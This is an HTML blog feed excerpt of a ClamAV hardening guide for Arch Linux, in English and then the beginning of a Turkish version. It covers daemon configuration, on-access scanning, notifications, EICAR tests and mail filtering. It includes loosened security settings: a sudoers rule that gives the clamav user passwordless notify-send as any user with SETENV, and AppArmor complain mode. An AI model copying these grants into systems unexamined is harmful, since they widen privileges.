/etc/clamav/freshclam.conf</span> <span class="c1"># sudo clamconf -g clamd.conf &gt; /etc/clamav/clamd.conf</span> <span class="c1"># sudo clamconf -g clamav-milter.conf &gt; /etc/clamav/clamav-milter.conf</span> </code></pre></div> <p>Our main configuration files are:</p> <ul> <li><strong><code>freshclam</code></strong>: <code>/etc/clamav/freshclam.conf</code> (For updates)</li> <li><strong><code>clamd</code></strong>: <code>/etc/clamav/clamd.conf</code> (The daemon's brain)</li> <li><strong><code>clamd milter</code></strong>: <code>/etc/clamav/clamav-milter.conf</code> (For email filter)</li> </ul> <p>When you're done, you can check your settings by running the <code>clamconf</code> command. The default installation already sets up the <code>clamav</code> user, group, and necessary <code>clamd</code> settings to a "reasonable" level.</p> <p>But we won't settle for "reasonable."</p> <hr/> <h3 id="step-3-clamdconf-the-brain-of-the-beast-full-version">Step 3: <code>clamd.conf</code> &ndash; The Brain of the Beast (Full Version)<a class="headerlink" href="#step-3-clamdconf-the-brain-of-the-beast-full-version" title="Permanent link">#</a></h3> <p>Open the file with <code>sudo nano /etc/clamav/clamd.conf</code> and find the following settings, uncomment or add them. This is my recommended "paranoid but performant" settings list:</p> <div class="highlight"><pre><span></span><code><span class="c1"># /etc/clamav/clamd.conf</span> <span class="c1"># Add a timestamp to every message. Saves lives when debugging.</span> <span class="c1"># Default: no</span> <span class="na">LogTime yes</span> <span class="c1"># Provide ADDITIONAL information like file size, hash when a virus is found.</span> <span class="na">ExtendedDetectionInfo yes</span> <span class="c1"># REQUIRED for security. Run the daemon as 'clamav' user.</span> <span class="c1"># (clamd needs to be started as root to make this change)</span> <span class="c1"># Default: drop privileges</span> <span class="na">User clamav</span> <span class="c1"># How deep will it go into directories?</span> <span class="c1"># Default: 15</span> <span class="na">MaxDirectoryRecursion 20</span> <span class="c1"># Detect Potentially Unwanted Applications (PUA).</span> <span class="c1"># 'Tools' downloaded from torrents are usually considered PUA. Definitely 'yes'.</span> <span class="na">DetectPUA yes</span> <span class="c1"># Enable Heuristic scanning. Catches unknown but suspicious-looking items.</span> <span class="na">HeuristicAlerts yes</span> <span class="c1"># === Scan Targets (Enable all) ===</span> <span class="na">ScanPE yes</span> <span class="na">ScanELF yes</span> <span class="na">ScanOLE2 yes</span> <span class="na">ScanPDF yes</span> <span class="na">ScanSWF yes</span> <span class="na">ScanXMLDOCS yes</span> <span class="na">ScanHWP3 yes</span> <span class="na">ScanOneNote yes</span> <span class="na">ScanMail yes</span> <span class="na">ScanHTML yes</span> <span class="na">ScanArchive yes</span> <span class="na">Bytecode yes</span> <span class="c1"># === Alerts (Enable these too) ===</span> <span class="na">AlertBrokenExecutables yes</span> <span class="na">AlertBrokenMedia yes</span> <span class="na">AlertEncrypted yes</span> <span class="na">AlertEncryptedArchive yes</span> <span class="na">AlertEncryptedDoc yes</span> <span class="na">AlertOLE2Macros yes</span> <span class="na">AlertPartitionIntersection yes</span> </code></pre></div> <hr/> <h3 id="step-4-updating-the-database-freshclam">Step 4: Updating the Database (<code>freshclam</code>)<a class="headerlink" href="#step-4-updating-the-database-freshclam" title="Permanent link">#</a></h3> <p>We need the database before starting the daemon.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Update manually (required for first run)</span> sudo<span class="w"> </span>freshclam </code></pre></div> <p>If you are behind a proxy, edit the <code>HTTPProxyServer</code>, <code>HTTPProxyPort</code>, etc. settings in <code>/etc/clamav/freshclam.conf</code>.</p> <p>Database files (<code>daily.cvd</code>, <code>main.cvd</code>, <code>bytecode.cvd</code>) are saved in <code>/var/lib/clamav/</code>.</p> <h4 id="automatic-updates-service-vs-timer">Automatic Updates: Service vs. Timer<a class="headerlink" href="#automatic-updates-service-vs-timer" title="Permanent link">#</a></h4> <p>You have <strong>two</strong> options for automatic updates. Do not run both.</p> <ol> <li> <p><strong><code>clamav-freshclam.service</code> (Daemon Mode):</strong></p> <ul> <li>This runs <code>freshclam</code> as a daemon and checks for updates 12 times a day (every 2 hours) by default.</li> <li><strong>Note:</strong> This service also checks on every start. If you check more than once an hour, you will be <strong>banned</strong> from the ClamAV CDN for 24 hours.</li> </ul> </li> <li> <p><strong><code>clamav-freshclam-once.timer</code> (Timer Mode):</strong></p> <ul> <li>This is a systemd timer that runs <code>freshclam</code> once a day.</li> <li><strong>Note:</strong> This timer adheres to your set schedule regardless of reboots or service stoppages.</li> </ul> </li> </ol> <p>I generally prefer the <code>.service</code> option.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Let's create the necessary log file (permissions are important)</span> sudo<span class="w"> </span>touch<span class="w"> </span>/var/log/clamav/freshclam.log sudo<span class="w"> </span>chmod<span class="w"> </span><span class="m">600</span><span class="w"> </span>/var/log/clamav/freshclam.log sudo<span class="w"> </span>chown<span class="w"> </span>clamav<span class="w"> </span>/var/log/clamav/freshclam.log <span class="c1"># Option 1: Start the Service (Recommended)</span> sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>clamav-freshclam.service sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>clamav-freshclam.service <span class="c1"># Option 2: Start the Timer (Alternative)</span> <span class="c1"># sudo systemctl start clamav-freshclam-once.timer</span> <span class="c1"># sudo systemctl enable clamav-freshclam-once.timer</span> </code></pre></div> <hr/> <h3 id="step-5-real-time-protection-onaccessscan">Step 5: Real-time Protection (OnAccessScan)<a class="headerlink" href="#step-5-real-time-protection-onaccessscan" title="Permanent link">#</a></h3> <p>This is the most enjoyable part. Scanning a file downloaded from a torrent as soon as it's downloaded.</p> <h4 id="a-basic-configuration">A. Basic Configuration<a class="headerlink" href="#a-basic-configuration" title="Permanent link">#</a></h4> <p>Go back to <code>sudo nano /etc/clamav/clamd.conf</code> and add/edit these lines:</p> <div class="highlight"><pre><span></span><code><span class="c1"># /etc/clamav/clamd.conf (SECTION TO ADD)</span> <span class="c1"># Exclude the scanner's own user (clamav) from the scan loop.</span> <span class="na">OnAccessExcludeUname clamav</span> <span class="c1"># Mount point to monitor. '/' monitors the entire system.</span> <span class="na">OnAccessMountPath /</span> <span class="c1"># Alternatively, you can monitor only specific directories:</span> <span class="c1"># OnAccessIncludePath /home</span> <span class="c1"># Scan NEWLY CREATED, MOVED, or RENAMED files.</span> <span class="na">OnAccessExtraScanning yes</span> <span class="c1"># Optional: Exclude processes owned by the root user</span> <span class="c1"># OnAccessExcludeRootUID true</span> </code></pre></div> <div class="admonition danger"> <p class="admonition-title">Blocking (Prevention) Setting: VERY CRITICAL <strong>ALWAYS leave <code>OnAccessPrevention no</code> as <code>no</code></strong>.</p> </div> <div class="admonition note"> <p class="admonition-title">Blocking with <code>OnAccessMountPath</code> (<code>yes</code>) does not work anyway. It works with <code>OnAccessIncludePath</code>, but if you set it to <code>yes</code> while monitoring system directories like <code>/usr</code>, <code>/etc</code>, or <code>/var</code>, as the Arch Wiki warns, <strong>you can slow down your package installations by 1000 times.</strong> Our goal is not to 'block' but to 'detect and be notified'.</p> </div> <h4 id="b-overcoming-permission-issues-with-fdpass-advanced">B. Overcoming Permission Issues with <code>fdpass</code> (Advanced)<a class="headerlink" href="#b-overcoming-permission-issues-with-fdpass-advanced" title="Permanent link">#</a></h4> <p>By default, <code>clamonacc</code> (running as root) only sends the accessed <em>filenames</em> to <code>clamd</code> (running as clamav). If the <code>clamav</code> user does not have read permission for that file, the scan will fail.</p> <p>Solution: Make <code>clamonacc</code> pass the file descriptor (<code>fdpass</code>) to <code>clamd</code>.</p> <p>For this, we need to edit the <code>clamav-clamonacc.service</code> service:</p> <div class="highlight"><pre><span></span><code><span class="c1"># To edit the systemd service file</span> sudo<span class="w"> </span>systemctl<span class="w"> </span>edit<span class="w"> </span>clamav-clamonacc.service </code></pre></div> <p>Paste the following into the empty file that opens:</p> <div class="highlight"><pre><span></span><code><span class="k">[Service]</span> <span class="na">ExecStart</span><span class="o">=</span> <span class="na">ExecStart</span><span class="o">=</span><span class="s">/usr/sbin/clamonacc -F --fdpass --log=/var/log/clamav/clamonacc.log</span> </code></pre></div> <p>This deletes the existing <code>ExecStart</code> command and adds a new one with the <code>--fdpass</code> flag.</p> <hr/> <h3 id="step-6-setting-up-desktop-notifications">Step 6: Setting Up Desktop Notifications<a class="headerlink" href="#step-6-setting-up-desktop-notifications" title="Permanent link">#</a></h3> <p>So far, ClamAV only silently writes to the log file when it finds a virus. We want to see an alert on our desktop.</p> <p><strong>1. Edit <code>clamd.conf</code></strong></p> <p>Add this line to <code>sudo nano /etc/clamav/clamd.conf</code>:</p> <div class="highlight"><pre><span></span><code><span class="na">VirusEvent /etc/clamav/virus-event.bash</span> </code></pre></div> <p>This tells <code>clamd</code> to "run this script when a virus is found."</p> <p><strong>2. Grant <code>sudoers</code> Permission</strong></p> <p>We need to allow the <code>clamav</code> user to run the <code>notify-send</code> command on behalf of other users.</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>visudo<span class="w"> </span>-f<span class="w"> </span>/etc/sudoers.d/clamav </code></pre></div> <p>Add this line to the empty file that opens:</p> <div class="highlight"><pre><span></span><code><span class="nv">clamav</span><span class="w"> </span><span class="nv">ALL</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ss">(</span><span class="nv">ALL</span><span class="ss">)</span><span class="w"> </span><span class="nv">NOPASSWD</span>:<span class="w"> </span><span class="k">SETENV</span>:<span class="w"> </span><span class="o">/</span><span class="nv">usr</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">notify</span><span class="o">-</span><span class="k">send</span> </code></pre></div> <p><strong>3. Create the <code>virus-event.bash</code> Script</strong></p> <p>Now let's create that script:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>nano<span class="w"> </span>/etc/clamav/virus-event.bash </code></pre></div> <p>Paste this inside:</p> <div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span> <span class="nv">PATH</span><span class="o">=</span>/usr/bin <span class="nv">ALERT</span><span class="o">=</span><span class="s2">"ClamAV Signature Detection: </span><span class="nv">$CLAM_VIRUSEVENT_VIRUSNAME</span><span class="s2"> -&gt; </span><span class="nv">$CLAM_VIRUSEVENT_FILENAME</span><span class="s2">"</span> <span class="c1"># Send notification to all active graphical users</span> <span class="k">for</span><span class="w"> </span>ADDRESS<span class="w"> </span><span class="k">in</span><span class="w"> </span>/run/user/*<span class="p">;</span><span class="w"> </span><span class="k">do</span> <span class="w"> </span><span class="nv">USERID</span><span class="o">=</span><span class="si">${</span><span class="nv">ADDRESS</span><span class="p">#/run/user/</span><span class="si">}</span> <span class="w"> </span>/usr/bin/sudo<span class="w"> </span>-u<span class="w"> </span><span class="s2">"#</span><span class="nv">$USERID</span><span class="s2">"</span><span class="w"> </span><span class="nv">DBUS_SESSION_BUS_ADDRESS</span><span class="o">=</span><span class="s2">"unix:path=</span><span class="nv">$ADDRESS</span><span class="s2">/bus"</span><span class="w"> </span><span class="nv">PATH</span><span class="o">=</span><span class="si">${</span><span class="nv">PATH</span><span class="si">}</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>/usr/bin/notify-send<span class="w"> </span>-u<span class="w"> </span>critical<span class="w"> </span>-i<span class="w"> </span>dialog-warning<span class="w"> </span><span class="s2">"VIRUS FOUND!"</span><span class="w"> </span><span class="s2">"</span><span class="nv">$ALERT</span><span class="s2">"</span> <span class="k">done</span> </code></pre></div> <p><strong>4. Make the Script Executable</strong></p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>chmod<span class="w"> </span>+x<span class="w"> </span>/etc/clamav/virus-event.bash </code></pre></div> <p>Now, when <code>clamd</code>'s OnAccess scan finds something, you'll see a critical notification on your desktop.</p> <hr/> <h3 id="step-7-starting-services-igniting-the-engine">Step 7: Starting Services (Igniting the Engine)<a class="headerlink" href="#step-7-starting-services-igniting-the-engine" title="Permanent link">#</a></h3> <p>Everything is ready. First, make sure you've updated the database (Step 4).</p> <div class="admonition warning"> <p class="admonition-title">RAM Warning Starting the daemon loads all virus signatures into RAM. As of February 2024, this requires <strong>at least 1.6 GB of free RAM</strong>. At the time of update, this need can temporarily double. On low-RAM systems (if <code>clamd</code> doesn't start), you may need to create swap space.</p> </div> <div class="highlight"><pre><span></span><code><span class="c1"># Start the main daemon</span> sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>clamav-daemon.service sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>clamav-daemon.service <span class="c1"># Start the real-time protection daemon</span> sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>clamav-clamonacc.service sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>clamav-clamonacc.service </code></pre></div> <p>If <code>AppArmor</code> (common on Ubuntu/Debian) gives errors about <code>clamd</code>, put the profile in complain mode: <code>sudo aa-complain clamd</code></p> <hr/> <h3 id="step-8-test-drive-eicar">Step 8: Test Drive (EICAR)<a class="headerlink" href="#step-8-test-drive-eicar" title="Permanent link">#</a></h3> <p>Is our system working? Let's check with a harmless test file called <code>EICAR</code>.</p> <p><strong>Test 1: Manual Scan (with Daemon)</strong></p> <div class="highlight"><pre><span></span><code>curl<span class="w"> </span>https://secure.eicar.org/eicar.com.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>clamdscan<span class="w"> </span>- </code></pre></div> <p>You should see <code>stdin: Win.Test.EICAR_HDB-1 FOUND</code> in the output. Note that we are using <code>clamdscan</code>, not <code>clamscan</code>.</p> <p><strong>Test 2: Real-time Protection</strong></p> <p>Try downloading the EICAR file to a monitored directory (e.g., Downloads):</p> <div class="highlight"><pre><span></span><code><span class="nb">cd</span><span class="w"> </span>~/Downloads/ wget<span class="w"> </span>https://secure.eicar.org/eicar.com.txt </code></pre></div> <p>As soon as the file downloads (or when you try to read it with <code>cat eicar.com.txt</code>), the desktop notification you set up in Step 6 should pop up.</p> <hr/> <h3 id="step-9-more-eyes-additional-databases">Step 9: More Eyes (Additional Databases)<a class="headerlink" href="#step-9-more-eyes-additional-databases" title="Permanent link">#</a></h3> <p>ClamAV's official signatures are good, but we can enhance its power with additional community-maintained databases (MalwarePatrol, SecuriteInfo, Yara, LMD signatures, etc.).</p> <p>For this, you can install one of two tools from AUR:</p> <ol> <li><strong><code>python-fangfrisch</code> (AUR)</strong>: Designed as a more secure, flexible, and modern replacement for <code>clamav-unofficial-sigs</code>. <strong>This is recommended.</strong></li> <li><strong><code>clamav-unofficial-sigs</code> (AUR)</strong>: The older and more common tool.</li> </ol> <h4 id="option-1-fangfrisch-installation-recommended">Option 1: Fangfrisch Installation (Recommended)<a class="headerlink" href="#option-1-fangfrisch-installation-recommended" title="Permanent link">#</a></h4> <p>Install with <code>yay -S python-fangfrisch</code> (or your AUR helper).</p> <div class="highlight"><pre><span></span><code><span class="c1"># Its configuration is very simple (/etc/fangfrisch/fangfrisch.conf)</span> <span class="c1"># Its biggest advantage is that it never requires root permissions.</span> <span class="c1"># Initialize the database structure as 'clamav' user</span> sudo<span class="w"> </span>-u<span class="w"> </span>clamav<span class="w"> </span>/usr/bin/fangfrisch<span class="w"> </span>--conf<span class="w"> </span>/etc/fangfrisch/fangfrisch.conf<span class="w"> </span>initdb <span class="c1"># Enable the timer</span> sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>fangfrisch.timer </code></pre></div> <h4 id="option-2-clamav-unofficial-sigs-installation-alternative">Option 2: clamav-unofficial-sigs Installation (Alternative)<a class="headerlink" href="#option-2-clamav-unofficial-sigs-installation-alternative" title="Permanent link">#</a></h4> <p>Install with <code>yay -S clamav-unofficial-sigs</code>.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Enable the timer</span> sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>clamav-unofficial-sigs.timer <span class="c1"># To run manually</span> <span class="c1"># sudo clamav-unofficial-sigs.sh</span> <span class="c1"># Configuration file: /etc/clamav-unofficial-sigs/user.conf</span> </code></pre></div> <p><strong>Adding MalwarePatrol Database (Optional):</strong> If you want to use MalwarePatrol (they have free/paid plans), register at <a href="https://malwareblocklist.org/" rel="noopener noreferrer" target="_blank">Malware Block List</a>. Then (if you are using <code>clamav-unofficial-sigs</code>), edit the <code>/etc/clamav/clamav-unofficial-sigs/user.conf</code> file:</p> <div class="highlight"><pre><span></span><code><span class="na">malwarepatrol_receipt_code</span><span class="o">=</span><span class="s">"YOUR_INVOICE_NUMBER_HERE"</span> <span class="na">malwarepatrol_product_code</span><span class="o">=</span><span class="s">"8"</span><span class="w"> </span><span class="c1"># 8 for free account, 15 for Premium</span> <span class="na">malwarepatrol_list</span><span class="o">=</span><span class="s">"clamav_basic"</span><span class="w"> </span><span class="c1"># basic or ext</span> <span class="na">malwarepatrol_free</span><span class="o">=</span><span class="s">"yes"</span><span class="w"> </span><span class="c1"># yes for free, no for Premium</span> </code></pre></div> <hr/> <h3 id="step-10-manual-scan-options">Step 10: Manual Scan Options<a class="headerlink" href="#step-10-manual-scan-options" title="Permanent link">#</a></h3> <p>You might want to perform manual scans even when the daemon is running.</p> <ol> <li> <p><strong><code>clamscan</code> (Standard/Old Method):</strong></p> <ul> <li>This <strong>does not</strong> use the daemon. It reloads the entire database into RAM every time.</li> <li>It's slow. Only use it if <code>clamd</code> is not running.</li> <li><code>clamscan --recursive --infected /home/user</code></li> <li><code>--remove</code>: Deletes the found file (Dangerous).</li> <li><code>--move=/safe/directory</code>: Moves to quarantine (Safer).</li> <li><code>--max-filesize=4000M --max-scansize=4000M</code>: Scans files larger than default.</li> <li><code>-l /path/to/logfile.log</code>: Writes results to a file.</li> </ul> </li> <li> <p><strong><code>clamdscan</code> (Daemon/Fast Method):</strong></p> <ul> <li>This passes the job to <code>clamd</code> running in the background. <strong>It's super fast.</strong></li> <li>It reads most settings (<code>--max-filesize</code>, etc.) from <code>clamd.conf</code>.</li> <li><code>clamdscan /home/user</code></li> </ul> </li> </ol> <hr/> <h3 id="step-11-tips-and-tricks-pro-level">Step 11: Tips and Tricks (Pro Level)<a class="headerlink" href="#step-11-tips-and-tricks-pro-level" title="Permanent link">#</a></h3> <h4 id="multi-core-usage">Multi-Core Usage<a class="headerlink" href="#multi-core-usage" title="Permanent link">#</a></h4> <ol> <li> <p><strong>With <code>clamscan</code> (BAD METHOD):</strong> <code>clamscan</code> runs on a single core. You can parallelize it with <code>xargs</code>: <code>find /home/user -type f -print0 | xargs -0 -P $(nproc) clamscan</code> <strong>DO NOT DO THIS:</strong> This starts as many <code>clamscan</code> processes as CPU cores, and each loads the database into RAM. If you have 16 cores, it would require 1.6GB * 16 = ~25GB RAM. It will crash your system.</p> </li> <li> <p><strong>With <code>clamdscan</code> (CORRECT METHOD):</strong> <code>clamd</code> is already designed for multi-core. <code>clamdscan --multiscan --fdpass /home/user</code></p> <ul> <li><code>--multiscan</code>: Scans the directory in parallel using as many threads as <code>MaxThreads</code> (default 10) in <code>clamd.conf</code>.</li> <li><code>--fdpass</code>: Passes permissions (file descriptor) so <code>clamd</code> (clamav user) can read your files (user).</li> </ul> </li> </ol> <h4 id="properly-enabling-tcpsocket">Properly Enabling TCPSocket<a class="headerlink" href="#properly-enabling-tcpsocket" title="Permanent link">#</a></h4> <p>Remember the warning in Step 1? If you enable TCPSocket (e.g., <code>127.0.0.1:3310</code>) in <code>clamd.conf</code>, you also need to edit the <code>systemd</code> socket file, otherwise they will conflict:</p> <p><code>sudo systemctl edit clamav-daemon.socket</code></p> <p>Add this to the opened file (to listen on both local and TCP sockets):</p> <div class="highlight"><pre><span></span><code><span class="k">[Socket]</span> <span class="na">ListenStream</span><span class="o">=</span> <span class="na">ListenStream</span><span class="o">=</span><span class="s">/run/clamav/clamd.ctl</span> <span class="na">ListenStream</span><span class="o">=</span><span class="s">127.0.0.1:3310</span> </code></pre></div> <p>Then run <code>sudo systemctl restart clamav-daemon.socket</code>. You can see the port being listened to with <code>ss -tulpn | grep clamd</code>.</p> <hr/> <h3 id="step-12-email-protection-milter">Step 12: Email Protection (Milter)<a class="headerlink" href="#step-12-email-protection-milter" title="Permanent link">#</a></h3> <p>If you are running an email server like <code>Sendmail</code> or <code>Postfix</code> on your system, you can connect ClamAV as a "milter" (mail filter) to scan incoming emails.</p> <p><strong>1. <code>clamav-milter.conf</code> Settings</strong> Edit the <code>/etc/clamav/clamav-milter.conf</code> file:</p> <div class="highlight"><pre><span></span><code><span class="na">MilterSocket /tmp/clamav-milter.socket</span> <span class="na">MilterSocketMode 660</span> <span class="na">FixStaleSocket yes</span> <span class="na">User clamav</span> <span class="na">MilterSocketGroup clamav</span> <span class="na">PidFile /run/clamav/clamav-milter.pid</span> <span class="na">TemporaryDirectory /tmp</span> <span class="na">ClamdSocket unix</span><span class="o">:</span><span class="s">/run/clamav/clamd.ctl</span> <span class="na">LogSyslog yes</span> <span class="na">LogInfected Basic</span> </code></pre></div> <p><strong>2. Creating systemd Service</strong> <code>sudo nano /etc/systemd/system/clamav-milter.service</code></p> <div class="highlight"><pre><span></span><code><span class="k">[Unit]</span> <span class="na">Description</span><span class="o">=</span><span class="s">'ClamAV Milter'</span> <span class="na">After</span><span class="o">=</span><span class="s">clamav-daemon.service</span> <span class="k">[Service]</span> <span class="na">Type</span><span class="o">=</span><span class="s">forking</span> <span class="na">ExecStart</span><span class="o">=</span><span class="s">/usr/bin/clamav-milter --config-file /etc/clamav/clamav-milter.conf</span> <span class="na">Restart</span><span class="o">=</span><span class="s">Always</span> <span class="k">[Install]</span> <span class="na">WantedBy</span><span class="o">=</span><span class="s">multi-user.target</span> </code></pre></div> <p><strong>3. Postfix Setting (Example)</strong> If you are using Postfix, add this to <code>/etc/postfix/main.cf</code>:</p> <div class="highlight"><pre><span></span><code><span class="na">smtpd_milters</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">unix:/tmp/clamav-milter.socket</span> <span class="na">milter_default_action</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">tempfail</span> </code></pre></div> <p><strong>4. Starting</strong> <code>sudo systemctl enable --now clamav-milter.service</code> Check logs with <code>journalctl</code>. If Postfix does not have access to the socket, add the <code>postfix</code> user to the <code>clamav</code> group: <code>sudo gpasswd -a postfix clamav</code>.</p> <hr/> <h3 id="step-13-troubleshooting-headaches">Step 13: Troubleshooting (Headaches)<a class="headerlink" href="#step-13-troubleshooting-headaches" title="Permanent link">#</a></h3> <ul> <li> <p><strong>Error: <code>Clamd was NOT notified</code> (after freshclam)</strong></p> </li> <li> <p><strong>Problem:</strong> <code>freshclam</code> cannot notify <code>clamd</code> because the socket file (<code>clamd.ctl</code>) is missing or in the wrong place.</p> </li> <li> <p><strong>Solution:</strong> Open <code>clamd.conf</code> and uncomment and activate the line <code>LocalSocket /run/clamav/clamd.ctl</code>. Restart <code>clamav-daemon.service</code>.</p> </li> <li> <p><strong>Error: <code>No supported database files found</code> (when clamd starts)</strong></p> </li> <li> <p><strong>Problem:</strong> The <code>DatabaseDirectory</code> settings in <code>freshclam.conf</code> and <code>clamd.conf</code> do not match. One might say <code>/var/lib/clamav</code> while the other says <code>/usr/share/clamav</code>.</p> </li> <li> <p><strong>Solution:</strong> Check both files and ensure that the <code>DatabaseDirectory</code> paths are <strong>the same</strong> (usually <code>/var/lib/clamav</code>).</p> </li> <li> <p><strong>Error: <code>Can't create temporary directory</code></strong></p> </li> <li> <p><strong>Problem:</strong> Permission error. Logs usually show a UID/GID number.</p> </li> <li><strong>Solution:</strong> Correct the ownership of the <code>/var/lib/clamav</code> directory. <code>sudo chown -R clamav:clamav /var/lib/clamav</code> <code>sudo chmod 755 /var/lib/clamav</code></li> </ul> <hr/> <h3 id="conclusion-now-youre-truly-paranoid">Conclusion: Now You're Truly Paranoid<a class="headerlink" href="#conclusion-now-youre-truly-paranoid" title="Permanent link">#</a></h3> <p>This guide contains every detail from the source. You are no longer just someone running <code>clamscan</code>. You have a ClamAV beast running in the background, ready in RAM, scanning with multiple cores, catching new files instantly, sending you desktop notifications, filtering your emails, and empowered with extra databases.</p> <p>Still, remember: The best antivirus is you, reading the comments on that torrent.</p>2025-11-14T02:30:00+03:002025-11-14T02:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-14:/linux-guvenlik-clamav-tam-kapsamli-rehber/

<p>Önceki rehberi unutun. Bu sefer SADECE daemon kurmuyoruz; bildirim almaktan VirusEvent, e-posta taramaya milter, çoklu çekirdek hilelerine ve tüm olası hata ayıklamalarına kadar ClamAV'nin tüm potansiyelini masaya yatırıyoruz.</p>

<h2 id="giris-neden-hala-bunlarla-ugrasyoruz">Giri&scedil;: Neden H&acirc;l&acirc; Bunlarla U&gbreve;ra&scedil;&inodot;yoruz?<a class="headerlink" href="#giris-neden-hala-bunlarla-ugrasyoruz" title="Permanent link">#</a></h2> <p>"Linux'a vir&uuml;s bula&scedil;maz" efsanesini bir kenara b&inodot;rakal&inodot;m. Bu rahatl&inodot;k, en b&uuml;y&uuml;k g&uuml;venlik a&ccedil;&inodot;&gbreve;&inodot;m&inodot;z haline geldi. Windows'a k&inodot;yasla pazar pay&inodot;m&inodot;z d&uuml;&scedil;&uuml;k olabilir, bu y&uuml;zden b&uuml;y&uuml;k &scedil;irketler bize &ouml;zel "Endpoint Security" paketleri &ccedil;&inodot;karmakla u&gbreve;ra&scedil;m&inodot;yor. Var olan ara&ccedil;lar da genelde Windows'taki kuzenlerinin geli&scedil;mi&scedil; &ouml;zelliklerinden yoksun.</p> <p>Ama d&uuml;nya de&gbreve;i&scedil;ti. Linux sunucular&inodot;, IoT cihazlar&inodot;... Sald&inodot;r&inodot; y&uuml;zeyi her g&uuml;n b&uuml;y&uuml;yor ve Linux tabanl&inodot; zararl&inodot; yaz&inodot;l&inodot;mlar&inodot;n say&inodot;s&inodot; da art&inodot;yor.</p> <p>Bu ortamda, elimizdeki en sa&gbreve;lam, a&ccedil;&inodot;k kaynakl&inodot; ve aktif olarak geli&scedil;tirilen kalelerden biri <strong>Clam AntiVirus (ClamAV)</strong>.</p> <p>ClamAV, UNIX sistemler i&ccedil;in bir antivir&uuml;s ara&ccedil; tak&inodot;m&inodot;d&inodot;r. Genellikle dosya/posta sunucular&inodot;nda kullan&inodot;ld&inodot;&gbreve;&inodot; i&ccedil;in, yerle&scedil;ik imzalar&inodot;yla zararl&inodot; yaz&inodot;l&inodot;mlar&inodot; tespit etmeye odaklan&inodot;r; yani geleneksel bir "endpoint security" paketi de&gbreve;ildir. Biz de onu bir sunucu gibi yap&inodot;land&inodot;raca&gbreve;&inodot;z.</p> <hr/> <h3 id="adm-1-kurulum-ve-arac-kutusu">Ad&inodot;m 1: Kurulum ve Ara&ccedil; Kutusu<a class="headerlink" href="#adm-1-kurulum-ve-arac-kutusu" title="Permanent link">#</a></h3> <p>Her zamanki gibi, Arch (veya t&uuml;revleri) &uuml;zerinden gidiyoruz:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>clamav </code></pre></div> <p>Bu komut sadece <code>clamav</code> kurmaz, bize bir &Idot;svi&ccedil;re &ccedil;ak&inodot;s&inodot; verir:</p> <ul> <li><strong><code>clamd</code></strong>: Bizim as&inodot;l hedefimiz. Arka plan hizmeti (daemon).</li> <li><strong><code>clamonacc</code></strong>: Ger&ccedil;ek zamanl&inodot; koruma (On-Access) hizmeti. <code>clamd</code> ile konu&scedil;ur.</li> <li><strong><code>clamdscan</code></strong>: <code>clamd</code> daemon'u &uuml;zerinden tarama yapan h&inodot;zl&inodot; istemci.</li> <li><strong><code>clamdtop</code></strong>: <code>clamd</code>'nin kaynak kullan&inodot;m&inodot;n&inodot; izlemek i&ccedil;in bir aray&uuml;z (<code>top</code> komutu gibi).</li> <li><strong><code>freshclam</code></strong>: Vir&uuml;s imza veritaban&inodot; g&uuml;ncelleme arac&inodot;.</li> <li><strong><code>clamconf</code></strong>: Yap&inodot;land&inodot;rma dosyalar&inodot;n&inodot; olu&scedil;turma ve kontrol etme arac&inodot;.</li> </ul> <p>T&uuml;m bu ara&ccedil;lar, <code>clamd</code> ile bir <strong>soket (socket)</strong> &uuml;zerinden ileti&scedil;im kurar. Varsay&inodot;lan olarak bu, "LocalSocket" (yerel bir unix soketi) &uuml;zerinden yap&inodot;l&inodot;r.</p> <h4 id="tcp-soketi-uyars-profesyoneller-icin">⚠️ TCP Soketi Uyar&inodot;s&inodot; (Profesyoneller &Idot;&ccedil;in)<a class="headerlink" href="#tcp-soketi-uyars-profesyoneller-icin" title="Permanent link">#</a></h4> <p>ClamAV, "TCPSocket" ad&inodot;yla bir a&gbreve; soketi a&ccedil;arak uzaktan ileti&scedil;ime de izin verir.</p> <div class="admonition danger"> <p class="admonition-title">Kesinlikle Okuyun: G&uuml;venlik Uyar&inodot;s&inodot; E&gbreve;er <code>clamd.conf</code> dosyan&inodot;zda <code>TCPSocket</code> kullanmay&inodot; se&ccedil;erseniz, bu portun <strong>herhangi bir kimlik do&gbreve;rulamas&inodot; veya korumas&inodot; olmad&inodot;&gbreve;&inodot;n&inodot;</strong> bilin. Genellikle yerel unix soketini (<code>LocalSocket</code>) kullan&inodot;n. E&gbreve;er a&gbreve;a a&ccedil;mak zorundaysan&inodot;z, g&uuml;venlik duvar&inodot; kurallar&inodot;yla bu portu <em>&ccedil;ok</em> s&inodot;k&inodot; korumal&inodot;s&inodot;n&inodot;z.</p> </div> <p>Daha fazla bilgi i&ccedil;in &scedil;u kaynaklara bakabilirsiniz:</p> <ul> <li><a href="https://blog.clamav.net/2016/06/regarding-use-of-clamav-daemons-tcp.html" rel="noopener noreferrer" target="_blank">Detayl&inodot; Bilgi (Resmi Blog)</a></li> <li>Detayl&inodot; Bilgi (Manuel): <a 